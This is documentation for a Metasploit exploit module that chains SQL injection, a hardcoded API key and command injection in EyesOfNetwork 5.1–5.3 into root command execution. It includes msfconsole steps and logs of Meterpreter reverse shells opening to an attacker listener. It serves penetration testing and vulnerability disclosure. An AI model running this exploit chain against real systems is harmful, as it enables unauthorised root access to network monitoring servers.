## Vulnerable Application
This module exploits multiple vulnerabilities in EyesOfNetwork version 5.1, 5.2 and 5.3 in order to execute arbitrary
commands as root.

The module first runs a few checks to verify the EyesOfNetwork version. If version 5.1 or 5.2 is detected, it attempts
an authentication bypass via an SQL injection in the `user_id` field in a cookie (CVE-2020-9465). If version 5.3 is
detected, the module exploits a hardcoded admin API key in EyesOfNetwork API version 2.4.2 (CVE-2020-8657) in order to
generate a valid access token and uses it to create a new user with admin privileges. If the generated key is not valid,
the admin API key is obtained via an SQL injection vulnerability affecting the same API version (CVE-2020-8656). If this
doesn't work either, it attempts CVE-2020-9465, which is the slowest and most noisy exploit of the three.

For all vulnerable versions, the next step after bypassing authentication is to abuse a command injection vulnerability
in the `target` parameter of the AutoDiscovery functionality within the EON web interface (CVE-2020-8654). Specifically,
the module writes an Nmap NSE script containing the payload to disk, and then activates this script by launching an Nmap
host discovery scan against the target. This achieves privilege escalation because the default sudo configuration
permits the 'apache' user to execute Nmap as root (CVE-2020-8655).

The module only works with HTTPS, so SSL is enabled by default. Valid credentials for a user with administrative
privileges are required. However, as explained above, the module can bypass authentication via various methods,
depending on the EON version. This module has been successfully tested on EyesOfNetwork 5.1, 5.2 and 5.3.

## Verification Steps
1. Install the module as usual
2. Start msfconsole
3. Do: `use exploit/linux/http/eyesofnetwork_autodiscovery_rce`
4. Do: `set RHOSTS [IP]`
5. Do: `set payload [payload]`
6. Do: `set LHOST [IP]`
7. Do: `exploit`

## Options

### SERVER_ADDR
This option should be set for EON version 5.3 in case the EyesOfNetwork server IP address is different from `RHOST`.
This because the EON server IP is needed to generate the API key.

### SQLI_SLEEP
The sleep value to be used when attempting to exploit CVE-2020-9465, which uses sleep-based SQL injection. The default
value is 1.

## Scenarios
1. EyesOfNetwork version 5.1

```
msf exploit(linux/http/eyesofnetwork_autodiscovery_rce) > show options

Module options (exploit/linux/http/eyesofnetwork_autodiscovery_rce):

   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   Proxies                       no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS       192.168.1.1      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT        443              yes       The target port (TCP)
   SERVER_ADDR                   yes       EyesOfNetwork server IP address (if different from RHOST)
   SRVHOST      0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT      8080             yes       The local port to listen on.
   SSL          true             no        Negotiate SSL/TLS for outgoing connections
   SSLCert                       no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI    /                yes       Base path to EyesOfNetwork
   URIPATH                       no        The URI to use for this exploit (default is random)
   VHOST                         no        HTTP server virtual host


Payload options (linux/x64/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.1.2      yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   1   Linux (x64)


msf exploit(linux/http/eyesofnetwork_autodiscovery_rce) > exploit

[*] Started reverse TCP handler on 192.168.1.2:4444 
[*] Target is EyesOfNetwork version 5.1. Attempting exploitation using CVE-2020-9465.
[+] The target seems vulnerable.
[*] Verified that the admin user has at least one active session.
[*] Found the admin 'session_id' size: 31
[*] Calculating the admin 'session_id' value. This will take a while...
[+] Obtained admin 'session_id' value: 1856115646
[*] Command Stager progress - 100.00% done (897/897 bytes)
[*] Sending stage (3012516 bytes) to 192.168.1.1
[*] Meterpreter session 1 opened (192.168.91.2:4444 -> 192.168.1.1:55744) at 2020-05-19 08:48:37 -0400
```

2. EyesOfNetwork version 5.2

```
msf exploit(linux/http/eyesofnetwork_autodiscovery_rce) > exploit

[*] Started reverse TCP handler on 192.168.1.2:4444 
[*] Target is EyesOfNetwork version 5.2. Attempting exploitation using CVE-2020-9465.
[+] The target seems vulnerable.
[*] Verified that the admin user has at least one active session.
[*] Found the admin 'session_id' size: 31
[*] Calculating the admin 'session_id' value. This will take a while...
[+] Obtained admin 'session_id' value: 1445224287
[*] Command Stager progress - 100.00% done (897/897 bytes)
[*] Sending stage (3012516 bytes) to 192.168.1.3
[*] Meterpreter session 2 opened (192.168.1.2:4444 -> 192.168.1.3:38070) at 2020-05-19 08:49:46 -0400
```

3. EyesOfNetwork version 5.3

```
msf exploit(linux/http/eyesofnetwork_autodiscovery_rce) > exploit

[*] Started reverse TCP handler on 192.168.1.2:4444 
[*] Target is EyesOfNetwork version 5.3 or later. Attempting exploitation using CVE-2020-8657 or CVE-2020-8656.
[*] Using generated API key: a926605f4e617fd68bbb86112156b41ea2406503859dad58b0d0aefcc848b755
[+] Authenticated as user r6veXwtZ2zh
[*] Command Stager progress - 100.00% done (897/897 bytes)
[*] Sending stage (3012516 bytes) to 192.168.1.4
[*] Meterpreter session 3 opened (192.168.1.2:4444 -> 192.168.1.4:60244) at 2020-05-19 08:50:04 -0400
```

## References
1. <https://www.exploit-db.com/exploits/48025>
2. <https://nvd.nist.gov/vuln/detail/CVE-2020-8654>
3. <https://nvd.nist.gov/vuln/detail/CVE-2020-8655>
4. <https://nvd.nist.gov/vuln/detail/CVE-2020-8656>
5. <https://nvd.nist.gov/vuln/detail/CVE-2020-8657>
6. <https://nvd.nist.gov/vuln/detail/CVE-2020-9465>
